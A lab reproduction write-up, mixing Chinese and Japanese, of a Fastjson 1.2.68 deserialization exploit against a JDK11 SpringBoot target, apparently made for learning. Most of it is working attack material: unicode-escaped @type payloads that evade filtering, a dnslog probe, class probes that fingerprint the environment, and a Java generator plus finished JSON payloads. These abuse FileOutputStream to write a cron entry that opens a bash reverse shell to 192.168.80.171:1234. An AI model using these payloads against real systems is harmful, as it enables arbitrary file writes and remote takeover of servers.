参考:https://github.com/lemono0/FastJsonPart
主打一个过程复现,理解漏洞利用流程,网上很多大佬的文章,文章写的很好,但作为基础学习还是不够(特别是用 idea 编译 java 文件,如何解决依赖等基础问题,-__-|.),所以就把自己复现过程的流程写下。
07-1268-jkd11-writefile#
パケットキャプチャ、括弧を削除し、fastjson のバージョンを判断する
dnslog で fastjson を探査し、フィルタリングされていることを発見
@type を unicode エンコードする
{
"\u0040\u0074\u0079\u0070\u0065": "java.net.InetSocketAddress" {
"address": ,
"val": "1bdmkeljntnmdy5h5nf3h571tszjn9by.oastify.com"
}
}
dnslog リクエストを受信
バージョンを探査
{
"\u0040\u0074\u0079\u0070\u0065": "java.lang.AutoCloseable"
依存関係を探査
{
"x": {
"\u0040\u0074\u0079\u0070\u0065": "java.lang.Character"{
"\u0040\u0074\u0079\u0070\u0065": "java.lang.Class",
"val": "java.net.http.HttpClient"
}
}
can not cast to char
という返答はjava.net.http.HttpClient
が存在することを示し、JDK11 である。
org.springframework.web.bind.annotation.RequestMapping
は SpringBoot 特有のクラスであるため、ターゲット環境は SpringBoot 環境である。
{
"x": {
"\u0040\u0074\u0079\u0070\u0065": "java.lang.Character"{
"\u0040\u0074\u0079\u0070\u0065": "java.lang.Class",
"val": "org.springframework.web.bind.annotation.RequestMapping"
}
}
使用している JDK11 が確認できたので、無制限にファイルを書き込むことができる。書き込みスケジュールタスクを使用してシェルをリバウンドさせる。
exp ファイルを生成する、jdk11.java
import com.alibaba.fastjson.JSON;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.util.Arrays;
import java.util.Base64;
import java.util.zip.Deflater;
public class jdk11 {
public static String gzcompress(String code) {
byte[] data = code.getBytes();
byte[] output = new byte[0];
Deflater compresser = new Deflater();
compresser.reset();
compresser.setInput(data);
compresser.finish();
ByteArrayOutputStream bos = new ByteArrayOutputStream(data.length);
try {
byte[] buf = new byte[1024];
while (!compresser.finished()) {
int i = compresser.deflate(buf);
bos.write(buf, 0, i);
}
output = bos.toByteArray();
} catch (Exception e) {
output = data;
e.printStackTrace();
} finally {
try {
bos.close();
} catch (IOException e) {
e.printStackTrace();
}
}
compresser.end();
System.out.println(Arrays.toString(output));
return Base64.getEncoder().encodeToString(output);
}
public static void main(String[] args) throws Exception {
String code = gzcompress("* * * * * bash -i >& /dev/tcp/192.168.80.171/1234 0>&1 \n");
//<=1.2.68 and JDK11
String payload = "{\r\n"
+ " \"@type\":\"java.lang.AutoCloseable\",\r\n"
+ " \"@type\":\"sun.rmi.server.MarshalOutputStream\",\r\n"
+ " \"out\":\r\n"
+ " {\r\n"
+ " \"@type\":\"java.util.zip.InflaterOutputStream\",\r\n"
+ " \"out\":\r\n"
+ " {\r\n"
+ " \"@type\":\"java.io.FileOutputStream\",\r\n"
+ " \"file\":\"/var/spool/cron/root\",\r\n"
+ " \"append\":false\r\n"
+ " },\r\n"
+ " \"infl\":\r\n"
+ " {\r\n"
+ " \"input\":\r\n"
+ " {\r\n"
+ " \"array\":\"" + code + "\",\r\n"
+ " \"limit\":1999\r\n"
+ " }\r\n"
+ " },\r\n"
+ " \"bufLen\":1048576\r\n"
+ " },\r\n"
+ " \"protocolVersion\":1\r\n"
+ "}\r\n"
+ "";
System.out.println(payload);
JSON.parseObject(payload);
}
}
ペイロードを生成
注意:
スケジュールタスクに書き込む際に注意すべき点がいくつかある:
-
linux 自体のシステム制限、まず centos と ubuntu 系列は異なり、ファイルの書き込み位置やコマンドの方法が異なる。ここでは centos システムのため、
/var/spool/cron/root
ファイルに書き込むが、ubuntu システムでは/etc/crontab
システムレベルのスケジュールタスクに書き込むべきであり、/var/spool/cron/crontabs/root
ファイルには書き込むべきではない。なぜなら、この方法は権限の変更やスケジュールタスクサービスの再起動を伴うからである。 -
このファイル書き込みの脆弱性を利用してスケジュールタスクを書き込む際には、コマンドの後に改行操作を追加する必要があり、そのコマンドが完全な 1 行であることを保証しないと、リバウンドが成功しない。
{
"\u0040\u0074\u0079\u0070\u0065":"java.lang.AutoCloseable",
"\u0040\u0074\u0079\u0070\u0065":"sun.rmi.server.MarshalOutputStream",
"out":
{
"\u0040\u0074\u0079\u0070\u0065":"java.util.zip.InflaterOutputStream",
"out":
{
"\u0040\u0074\u0079\u0070\u0065":"java.io.FileOutputStream",
"file":"/var/spool/cron/root",
"append":false
},
"infl":
{
"input":
{
"array":"eJzTUtCCQoWkxOIMBd1MBTs1Bf2U1DL9kuQCfUNLIz1DMws9CwM9Q3NDfUMjYxMFAzs1QwUuAHKnDGw=",
"limit":1999
}
},
"bufLen":1048576
},
"protocolVersion":1
}
limit の部分にはファイル内に書き込むデータの実際の長さを書き込む必要がある。この長さは何らかの処理によって、スケジュールタスクコマンドの長さとは異なる場合がある。ここでも同様にエラーを利用し、limit 値をできるだけ大きく設定し、fastjson はオフセット位置が正しくないために正しいデータオフセットを爆発させる。ここでの 59 が実際のデータ長である。
{
"\u0040\u0074\u0079\u0070\u0065":"java.lang.AutoCloseable",
"\u0040\u0074\u0079\u0070\u0065":"sun.rmi.server.MarshalOutputStream",
"out":
{
"\u0040\u0074\u0079\u0070\u0065":"java.util.zip.InflaterOutputStream",
"out":
{
"\u0040\u0074\u0079\u0070\u0065":"java.io.FileOutputStream",
"file":"/var/spool/cron/root",
"append":false
},
"infl":
{
"input":
{
"array":"H4sIAAAAAAAAANNS0IJChaTE4gwF3UwFOzUF/ZTUMv2S5AJ9Q0sjPUMzCz0LAz1Dc0N9QyNjEwUDOzVDBS4AGWjIeTkAAAA=",
"limit":59
}
},
"bufLen":1048576
},
"protocolVersion":1
}
シェルをリバウンドさせる